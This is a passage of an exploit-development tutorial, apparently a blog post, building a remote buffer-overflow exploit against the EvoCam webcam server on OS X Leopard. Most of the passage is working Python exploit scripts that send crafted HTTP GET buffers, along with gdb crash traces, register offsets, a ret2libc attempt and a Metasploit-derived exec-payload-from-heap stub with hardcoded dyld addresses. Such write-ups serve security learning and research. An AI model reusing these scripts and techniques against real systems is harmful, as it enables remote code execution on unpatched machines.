s=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
  
connect=s.connect\(\('192.168.1.29',8080\)\)  
  
print \("Sending Payload\r\n"\)  
  
s.send\("GET " +BUFFER + " HTTP/1.0\r\n\r\n"\)  
  
s.close\(\)

Okay so we restart the EvoCam process, attach using gdb and send our updated
buffer.

Program received signal EXC\_BAD\_ACCESS, Could not access memory.  
  
Reason: KERN\_INVALID\_ADDRESS at address: 0x42307342  
  
\[Switching to process 1025 thread 0x6713\]  
  
\(gdb\) x /i $eip  
  
0x4b675 : mov \(%ecx\),%eax 0x42307342\]

We can now see that ECX has been overwritten with the bytes 0×42307342, we can
use Metasploit’s pattern\_offset.rb tool to find out which bytes in our buffer
these are:

$ ./pattern\_offset.rb 0x42307342  
  
1320

So we can see the 4 bytes of our buffer starting at 1320 overwrite ECX, and we
need to replace these with the address of some readable memory. I’ll use a R/W
address as this will come in useful later. We can pull this address from the
.data segment of dyld process using otool -l /usr/lib/dyld

\#\!/usr/bin/python  
  
import socket  
  
import struct  
  
PATTERN =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce'  
  
WRITEABLE = 0x8fe66448  
  
BUFFER = PATTERN\[0:1320\] \+ struct.pack\('\]I',WRITEABLE\) \+
PATTERN\[1324:1700\]  
  
s=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
  
connect=s.connect\(\('192.168.1.29',8080\)\)  
  
print \("Sending Payload\r\n"\)  
  
s.send\("GET " +BUFFER + " HTTP/1.0\r\n\r\n"\)  
  
s.close\(\)

So we have updated our exploit with a readable memory address at offset 1320,
we restart EvoCam and attach gdb. Sending our updated exploit gives us a
different crash:

Program received signal EXC\_BAD\_ACCESS, Could not access memory.  
  
Reason: KERN\_INVALID\_ADDRESS at address: 0x39724238  
  
\[Switching to process 1045 thread 0x651b\]  
  
0x967de80e in strstr \(\)  
  
\(gdb\) set disassembly-flavor intel  
  
\(gdb\) x /i $eip  
  
0x967de80e : movzx eax,BYTE PTR \[esi\]  
  
\(gdb\) info registers  
  
eax 0x5 5  
  
ecx 0x54363 344931  
  
edx 0x54360 344928  
  
ebx 0x4b573 308595  
  
esp 0xb01be450 0xb01be450  
  
ebp 0xb01be478 0xb01be478  
  
esi 0x39724238 963789368  
  
edi 0x52 82  
  
eip 0x967de80e 0x967de80e  
  
eflags 0x10206 66054  
  
cs 0x17 23  
  
ss 0x1f 31  
  
ds 0x1f 31  
  
es 0x1f 31  
  
fs 0x1f 31  
  
gs 0x37 55

This time is looks to be the overwritten ESI register that is causing us
issues.

$ ./pattern\_offset.rb 0x39724238  
  
1316

So we need to replace part of our buffer starting at offset 1316 with another
readable address. And try again..

### Controlling Execution

\#\!/usr/bin/python  
  
import socket  
  
import struct  
  
PATTERN =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce'  
  
WRITEABLE = 0x8fe66448  
  
BUFFER = PATTERN\[0:1316\] \+ struct.pack\('\]II',WRITEABLE,WRITEABLE\) \+
PATTERN\[1324:1700\]  
  
s=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
  
connect=s.connect\(\('192.168.1.29',8080\)\)  
  
print \("Sending Payload\r\n"\)  
  
s.send\("GET " +BUFFER + " HTTP/1.0\r\n\r\n"\)  
  
s.close\(\)

Program received signal EXC\_BAD\_ACCESS, Could not access memory.  
  
Reason: KERN\_INVALID\_ADDRESS at address: 0x72423772  
  
\[Switching to process 1094 thread 0x6437\]  
  
0x72423772 in ?? \(\)  
  
\(gdb\) info registers  
  
eax 0x0 0  
  
ecx 0xa05dc1a0 -1604468320  
  
edx 0x7d000 512000  
  
ebx 0x42327242 1110602306  
  
esp 0xb01bee00 0xb01bee00  
  
ebp 0x42367242 0x42367242  
  
esi 0x72423372 1916941170  
  
edi 0x35724234 896680500  
  
eip 0x72423772 0x72423772  
  
eflags 0x10282 66178  
  
cs 0x17 23  
  
ss 0x1f 31  
  
ds 0x1f 31  
  
es 0x1f 31  
  
fs 0x1f 31  
  
gs 0x37 55

This time the crash is because we have overwritten the EIP register, this is
good news as hopefully we aren’t too far away from getting code execution\!

On a Windows exploit with a vanilla EIP overwrite\(with out the complications
of DEP present it later versions\) we normally just overwrite EIP with a JMP
assembly command to land us into our shellcode on the stack and it’s game
over. However OS X does have the area of memory designated for the stack
marked as Non-Execute \(NX\) which means we can’t run our exploit code
directly from the stack.

### Return to libC Style

So let’s try a simple ret2libc style exploit and replace our overwritten with
the memory address of the system\(\) function.

We can find the address of the system\(\) call from it’s parent library
libSystem. First we look at /var/db/dyld/dyld\_shared\_cache\_i386.map so see
where the library is loaded:

/usr/lib/libSystem.B.dylib  
  
\_\_TEXT 0x967B3000 -\] 0x9691B000  
  
\_\_DATA 0xA0842000 -\] 0xA0881000  
  
\_\_IMPORT 0xA0A96000 -\] 0xA0A98000  
  
\_\_LINKEDIT 0x97403000 -\] 0x97804000

nm /usr/lib/libSystem.B.dylib | grep "T \_system"  
  
0008d6d4 T \_system

So we take the base address of the library 0×967B3000 and add the offset to
the system function 0×0008d6d4 which gives us 0×968406d4

We can also get this value from gdb:

\(gdb\) p \*system  
  
$1 = \{\} 0x968406d4

So we can take this memory address of system\(\) and update our exploit
placing it at the correct offset in our buffer:

$ ./pattern\_offset.rb 0x72423772  
  
1312

\#\!/usr/bin/python  
  
import socket  
  
import struct  
  
PATTERN =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce'  
  
SYSTEM = 0x968406d4  
  
WRITEABLE = 0x8fe66448  
  
BUFFER = PATTERN\[0:1312\] \+
struct.pack\('\]III',SYSTEM,WRITEABLE,WRITEABLE\) \+ PATTERN\[1324:1700\]  
  
s=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
  
connect=s.connect\(\('192.168.1.29',8080\)\)  
  
print \("Sending Payload\r\n"\)  
  
s.send\("GET " +BUFFER + " HTTP/1.0\r\n\r\n"\)  
  
s.close\(\)

We restart EvoCam and attach gdb setting a breakpoint on the system\(\)
function:

\(gdb\) b \*system  
  
Breakpoint 1 at 0x968406d4  
  
\(gdb\) c  
  
Continuing.  
  
\[Switching to process 1179 thread 0x673b\]  
  
Breakpoint 1, 0x968406d4 in system \(\)  
  
\(gdb\) p $eip  
  
$1 = \(void \(\*\)\(\)\) 0x968406d4

Excellent, so we now have control over the execution of our vulnerable
program\!

There are however two problems with this method.

Firstly if we wanted to to use system\(\) to execute a command of our choosing
then we would need to pass the command to be executed as an argument to the
system\(\) call by placing a reference to its address in memory via a
register. However this would require us to know where our argument is located
on the stack. Maybe with a bit of luck and generous use of Nops we may be able
to get around this.

Our Second problem is that Apple introduced Library Randomisation in the
Leopard \(10.5\) version of their Operating System. Randomisation doesn’t
happen very often so the address of a library will often be the same even
across reboots, but addresses will be different across systems which would not
be very effective for our remotely exploitable buffer overflow.

### Exec Payload from Heap Technique

One method of getting around this issue is to use Dino Dai Zovi \(Co-author of
The Mac Hacker’s Handbook\) exec-payload-from-heap technique. This works by
using calls to functions located in /usr/lib/dyld the dynamic linker which is
always loaded at a known address in memory. The result of this technique is
that our exploit shellcode gets copied from the Stack to Heap memory from
where it can be executed.

I won’t cover the exact working of this technique here, full details can be
found in The Mac Hacker’s Handbook which is an excellent read for those
interested in OS X exploitation.

I grabbed a copy of the exec-payload-from-heap stub from the OS X rtsp exploit
in MetaSploit:

def make\_exec\_payload\_from\_heap\_stub\(\)  
  
frag0 =  
  
"\x90" + \# nop  
  
"\x58" + \# pop eax  
  
"\x61" + \# popa  
  
"\xc3" \# ret  
  
frag1 =  
  
"\x90" + \# nop  
  
"\x58" + \# pop eax  
  
"\x89\xe0" + \# mov eax, esp  
  
"\x83\xc0\x0c" + \# add eax, byte +0xc  
  
"\x89\x44\x24\x08" + \# mov \[esp+0x8\], eax  
  
"\xc3" \# ret  
  
setjmp = target\['setjmp'\]  
  
writable = target\['Writable'\]  
  
strdup = target\['strdup'\]  
  
exec\_payload\_from\_heap\_stub =  
  
frag0 +  
  
\[setjmp\].pack\('V'\) +  
  
\[writable + 32, writable\].pack\("V2"\) +  
  
frag1 +  
  
"X" \* 20 +  
  
\[setjmp\].pack\('V'\) +  
  
\[writable + 24, writable, strdup, jmp\_eax\].pack\("V4"\) +  
  
"X" \* 4  
  
end

The stub relies on several hard coded memory references from the dyld libary.

The location of setjmp and strdup can be found in /usr/lib/dyld:

$ nm /usr/lib/dyld | grep "setjmp"  
  
8fe1cf38 t \_setjmp  
  
$ nm /usr/lib/dyld | grep "strdup"  
  
8fe210dc t \_strdup

We also need a JMP EAX instruction to jump to our payload once we have copied
it to the heap and placed it’s memory location in EAX. We can do this with
msfmachscan:

$ msfmachscan -j EAX /usr/lib/dyld | head -10  
  
File is not a Mach-O binary, trying Fat..  
  
Detected 4 archs in binary.  
  
\[/usr/lib/dyld\]  
  
0x8fd7dbce jmp eax  
  
0x8fd7dc82 jmp eax  
  
0x8fd7e3be call eax  
  
0x8fd7e426 call eax  
  
0x8fd7e54e call eax  
  
0x8fd7e6e6 jmp eax  
  
0x8fd7f91a jmp eax  
  
0x8fd7fbae call eax

So plugging all of these address into our exploit code we now have:

\#\!/usr/bin/python  
  
import socket  
  
import struct  
  
\# Settings for Leopard 10.5.8  
  
WRITEABLE = 0x8fe66448  
  
SETJMP = 0x8fe1cf38 \#$ nm /usr/lib/dyld | grep "setjmp" \#8fe1cf38 t \_setjmp  
  
STRDUP = 0x8fe210dc \#$ nm /usr/lib/dyld | grep "strdup" \#8fe210dc t \_strdup  
  
JMPEAX = 0x8fe01041 \#0x8fe01041 \[\_\_dyld\_\_dyld\_start+49\]: jmp \*%eax  
  
buf="\xcc\xcc\xcc\xcc"  
  
FRAG0 = "\x90" \+ "\x58" \+ "\x61" \+ "\xc3"  
  
FRAG1 = "\x90" \+ "\x58" \+ "\x89\xe0" \+ "\x83\xc0\x0c" \+ "\x89\x44\x24\x08"
\+ "\xc3"  
  
STUB = \  
  
FRAG0 + \  
  
struct.pack\('\]III',SETJMP,WRITEABLE+32,WRITEABLE\) \+ \  
  
FRAG1 + \  
  
'A'\*20 +\  
  
struct.pack\('\]IIIII',SETJMP,WRITEABLE+24,WRITEABLE,STRDUP,JMPEAX\) \+ \  
  
'A'\*4  
  
BUFFER = "A"\*1308 \+ STUB + buf  
  
s=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
  
connect=s.connect\(\('192.168.1.29',8080\)\)  
  
print '\[+\] Sending evil buffer...'  
  
s.send\("GET " +BUFFER + " HTTP/1.0\r\n\r\n"\)  
  
s.close\(\)

We have included some breakpoints in buf to act as our shellcode that we wish
to run from the heap.

Restarting EvoCam, attaching gdb and sending our exploit gives us the
following crash:

\(gdb\) c  
  
Continuing.  
  
Program received signal EXC\_BAD\_ACCESS, Could not access memory.  
  
Reason: KERN\_PROTECTION\_FAILURE at address: 0x00000000  
  
\[Switching to process 1311 thread 0x613f\]  
  
0x00000000 in ?? \(\)  
  
\(gdb\) info registers  
  
eax 0x0 0  
  
ecx 0xa087c708 -1601714424  
  
edx 0x967e6587 -1770101369  
  
ebx 0x0 0  
  
esp 0xb01bee2c 0xb01bee2c  
  
ebp 0x0 0x0  
  
esi 0xc083 49283  
  
edi 0xe0895890 -527869808  
  
eip 0x0 0  
  
eflags 0x10246 66118  
  
cs 0x17 23  
  
ss 0x1f 31  
  
ds 0x1f 31  
  
es 0x1f 31  
  
fs 0x1f 31  
  
gs 0x37 55

So we didn’t hit our exploit buffer as we hoped, it looks like something has
gone wrong and zeroed out EIP. Lets run things again but place some break
points and see what is happening.

After manually stepping through the setjmp\(\) function I discovered it is
best to set our breakpoint at the end of the function before it’s final return
call.

\(gdb\) b \*0x8fe1d026  
  
Breakpoint 2 at 0x8fe1d026  
  
\(gdb\) c  
  
Continuing.  
  
\[Switching to process 1386 thread 0x670f\]  
  
Breakpoint 2, 0x8fe1d026 in \_\_dyld\_\_setjmp \(\)  
  
\(gdb\) x /4i $eip  
  
0x8fe1d026 \[\_\_dyld\_\_setjmp+62\]: ret  
  
0x8fe1d027 \[\_\_dyld\_\_setjmp+63\]: nop  
  
0x8fe1d028 \[\_\_dyld\_\_longjmp\]: fninit  
  
0x8fe1d02a \[\_\_dyld\_\_longjmp+2\]: mov 0x4\(%esp\),%ecx  
  
\(gdb\) x /20x $esp  
  
0xb01bee00: 0x8fe66468 0x8fe66448 0xe0895890 0x0000c083  
  
0xb01bee10: 0x00000000 0x00000000 0x00000000 0x967e6587  
  
0xb01bee20: 0xa087c708 0x00000000 0x00000000 0x967e6730  
  
0xb01bee30: 0xa087c708 0x0089e400 0x0089f600 0x967bbb7d  
  
0xb01bee40: 0x967bbb7d 0x00003c03 0xb01bee88 0x967bbe51

So we have hit our breakpoint just before the final return in setjmp. As we
can see ESP points to 0×8fe66468 which will be where execution continues from
when this function returns. Lets single step this instruction and see what we
end up with.

\(gdb\) si  
  
0x8fe66468 in ?? \(\)  
  
\(gdb\) x /4i $eip  
  
0x8fe66468: nop  
  
0x8fe66469: pop %eax  
  
0x8fe6646a: popa  
  
0x8fe6646b: ret

Good, so EIP is pointing to the address of writable memory which now, thanks
to the setjmp call, contains the assembly commands from FRAG0.

Let’s step through these instructions:

\(gdb\) si  
  
0x8fe66469 in ?? \(\)  
  
\(gdb\) si  
  
0x8fe6646a in ?? \(\)  
  
\(gdb\) si  
  
warning: Got an error handling event: "Cannot access memory at address 0x4".  
  
\(gdb\) x /i $eip  
  
0x8fe6646b: ret  
  
\(gdb\) info registers  
  
eax 0x0 0  
  
ecx 0xa087c708 -1601714424  
  
edx 0x967e6587 -1770101369  
  
ebx 0x0 0  
  
esp 0xb01bee28 0xb01bee28  
  
ebp 0x0 0x0  
  
esi 0xc083 49283  
  
edi 0xe0895890 -527869808  
  
eip 0x8fe6646b 0x8fe6646b  
  
eflags 0x246 582  
  
cs 0x17 23  
  
ss 0x1f 31  
  
ds 0x1f 31  
  
es 0x1f 31  
  
fs 0x1f 31  
  
gs 0x37 55  
  
\(gdb\) x /20x $esp  
  
0xb01bee28: 0x00000000 0x967e6730 0xa087c708 0x0089d400  
  
0xb01bee38: 0x0089e600 0x967bbb7d 0x967bbb7d 0x00003c03  
  
0xb01bee48: 0xb01bee88 0x967bbe51 0xa088b100 0x00000000  
  
0xb01bee58: 0x00000000 0x00000000 0x00000000 0x12141968  
  
0xb01bee68: 0x00000000 0x00003d03 0x00000000 0x00000000  
  
\(gdb\) si  
  
warning: Got an error handling event: "Cannot access memory at address 0x4".  
  
\(gdb\) si  
  
Program received signal EXC\_BAD\_ACCESS, Could not access memory.  
  
Reason: KERN\_PROTECTION\_FAILURE at address: 0x00000000  
  
0x00000000 in ?? \(\)

So before we issue the return instruction from the FRAG0 code ESP contains the
memory address 0×00000000 which gets popped into EIP and halts our execution.

Let’s restart and place a breakpoint at the start of setjmp and examine what
our buffer looks like on the stack:

\(gdb\) b \*0x8fe1cf38  
  
Breakpoint 1 at 0x8fe1cf38  
  
\(gdb\) c  
  
Continuing.  
  
\[Switching to process 1445 thread 0x670f\]  
  
Breakpoint 1, 0x8fe1cf38 in \_\_dyld\_setjmp \(\)  
  
\(gdb\) x /32x $esp-20  
  
0xb01bedec: 0x41414141 0x41414141 0x41414141 0xc3615890  
  
0xb01bedfc: 0x8fe1cf38 0x8fe66468 0x8fe66448 0xe0895890  
  
0xb01bee0c: 0x0000c083 0x00000000 0x00000000 0x00000000  
  
0xb01bee1c: 0x967e6587 0xa087c708 0x00000000 0x00000000  
  
0xb01bee2c: 0x967e6730 0xa087c708 0x0089fc00 0x008a0e00  
  
0xb01bee3c: 0x967bbb7d 0x967bbb7d 0x00003c03 0xb01bee88  
  
0xb01bee4c: 0x967bbe51 0xa088b100 0x00000000 0x00000000  
  
0xb01bee5c: 0x00000000 0x00000000 0x12141968 0x00000000

If we compare the values on the stack to our exploit buffer, we see the end of
our initial large group of A characters \(0×41 in Hex\) followed by FRAG0
\(0xc3615890\), SETJMP \(0×8fe1cf38\) , WRITEABLE+32 \(0×8fe66468\) and
WRITEABLE \(0×8fe66448\). Following this in our buffer should be FRAG1 but on
closer examination it would appear that this had been truncated in the middle.

It would therefore appear that 0×0C is a bad character in our payload. After a
bit of manual experimentation we find that 0×0e is the next allowed character
so we replace this in our attack string. The setjmp\(\) function only allows
us 12 bytes of code in which to put our assembly instructions so this doesn’t
give us enough room to modify EAX to it’s desired value using dec or sub
operations.

Let’s check to see what the consequences are of our modification the FRAG1
code snippet.

\(gdb\) info breakpoints  
  
Num Type Disp Enb Address What  
  
1 breakpoint keep y 0x8fe1d026 \[\_\_dyld\_\_setjmp+62\]  
  
2 breakpoint keep y 0x8fe210dc \[\_\_dyld\_strdup\]  
  
\(gdb\) c  
  
Continuing.  
  
\[Switching to process 1520 thread 0x689f\]  
  
Breakpoint 1, 0x8fe1d026 in \_\_dyld\_\_setjmp \(\)  
  
\(gdb\) set disassembly-flavor intel  
  
\(gdb\) x /4i $eip  
  
0x8fe1d026 \[\_\_dyld\_\_setjmp+62\]: ret  
  
0x8fe1d027 \[\_\_dyld\_\_setjmp+63\]: nop  
  
0x8fe1d028 \[\_\_dyld\_\_longjmp\]: fninit  
  
0x8fe1d02a \[\_\_dyld\_\_longjmp+2\]: mov ecx,DWORD PTR \[esp+0x4\]  
  
\(gdb\) si  
  
0x8fe66468 in ?? \(\)  
  
\(gdb\) x /4i $eip  
  
